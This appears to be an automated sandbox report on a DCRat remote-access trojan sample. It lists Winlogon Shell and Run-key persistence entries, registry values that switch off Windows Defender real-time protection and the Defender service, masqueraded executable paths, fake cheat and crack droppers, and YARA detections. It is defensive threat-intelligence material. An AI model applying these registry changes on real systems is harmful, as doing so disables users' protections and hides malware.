dcrat | 11e550c201ee70fb01902b1e84b19a133c0861e170c764db9d8755be67fdcde2

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\", \"C:\\blockweb\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\it-IT\\dwm.exe\", \"C:\\Program Files (x86)\\MSBuild\\Microsoft\\wininit.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\fontdrvhost.exe\", \"C:\\Program Files\\dotnet\\swidtag\\conhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\it-IT\\dwm.exe\", \"C:\\Program Files (x86)\\MSBuild\\Microsoft\\wininit.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\it-IT\\dwm.exe\", \"C:\\Program Files (x86)\\MSBuild\\Microsoft\\wininit.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\it-IT\\dwm.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files\\Crashpad\\portrefNet.exe\", \"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\", \"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\", \"C:\\blockweb\\Registry.exe\", \"C:\\Windows\\apppatch\\es-ES\\conhost.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\", \"C:\\Windows\\LiveKernelReports\\SearchApp.exe\", \"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\", \"C:\\blockweb\\WaaSMedicAgent.exe\", \"C:\\blockweb\\RuntimeBroker.exe\", \"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\", \"C:\\Program Files (x86)\\Windows Photo Viewer\\it-IT\\dwm.exe\", \"C:\\Program Files (x86)\\MSBuild\\Microsoft\\wininit.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\fontdrvhost.exe\", \"C:\\Program Files\\dotnet\\swidtag\\conhost.exe\", \"C:\\blockweb\\WmiPrvSE.exe\""	portrefNet.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 22 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Process spawned unexpected child process 54 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4288	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5048	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4768	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1084	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2892	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3260	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	748	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3608	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5104	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1940	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3032	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4508	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5072	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4920	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1880	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3592	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1872	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1172	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2112	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1148	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4572	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	768	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4724	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3392	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5012	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4384	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4060	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2296	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2072	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4436	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2436	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3824	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4108	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4396	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2092	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3120	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2636	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5024	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1016	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4432	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4832	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4420	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	756	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2356	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4112	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2032	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4532	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5028	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3428	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	960	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	708	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4388	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3248	4064	schtasks.exe	98
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1160	4064	schtasks.exe	98

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x000a000000023acc-71.dat	dcrat
behavioral2/files/0x000a000000023b93-102.dat	dcrat
behavioral2/memory/4376-104-0x00000000001C0000-0x00000000003FA000-memory.dmp	dcrat

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	E3A480A53D8B2C398A7642E1F4E84785.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Primordial Crack.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Lunch LaCheatV2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Lunch LaCheat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	portrefNet.exe

Executes dropped EXE 8 IoCs

pid	Process
3132	52cheatand52rat.exe
996	Primordial Crack.exe
708	Lunch LaCheatV2.exe
1692	Lunch LaCheat.exe
2592	DCRatBuild.exe
348	52cheatand52rat.exe
4376	portrefNet.exe
1084	TextInputHost.exe

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x000a000000023b8f-31.dat	vmprotect
behavioral2/memory/708-49-0x0000000000400000-0x0000000001B6B000-memory.dmp	vmprotect
behavioral2/files/0x000a000000023b91-54.dat	vmprotect
behavioral2/memory/1692-66-0x0000000000400000-0x00000000018F3000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 34 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WaaSMedicAgent = "\"C:\\blockweb\\WaaSMedicAgent.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Program Files (x86)\\MSBuild\\Microsoft\\wininit.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Program Files (x86)\\MSBuild\\Microsoft\\wininit.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\dotnet\\swidtag\\conhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\portrefNet = "\"C:\\Program Files\\Crashpad\\portrefNet.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TextInputHost = "\"C:\\Program Files (x86)\\Windows Sidebar\\Shared Gadgets\\TextInputHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TextInputHost = "\"C:\\Program Files\\Crashpad\\attachments\\TextInputHost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Windows\\InputMethod\\SHARED\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Windows\\Speech_OneCore\\Engines\\TTS\\de-DE\\NUSData\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\it-IT\\dwm.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\Recovery\\WindowsRE\\MoUsoCoreWorker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\blockweb\\Registry.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\blockweb\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SearchApp = "\"C:\\Windows\\LiveKernelReports\\SearchApp.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\dotnet\\swidtag\\conhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\blockweb\\WmiPrvSE.exe\""	portrefNet.exe
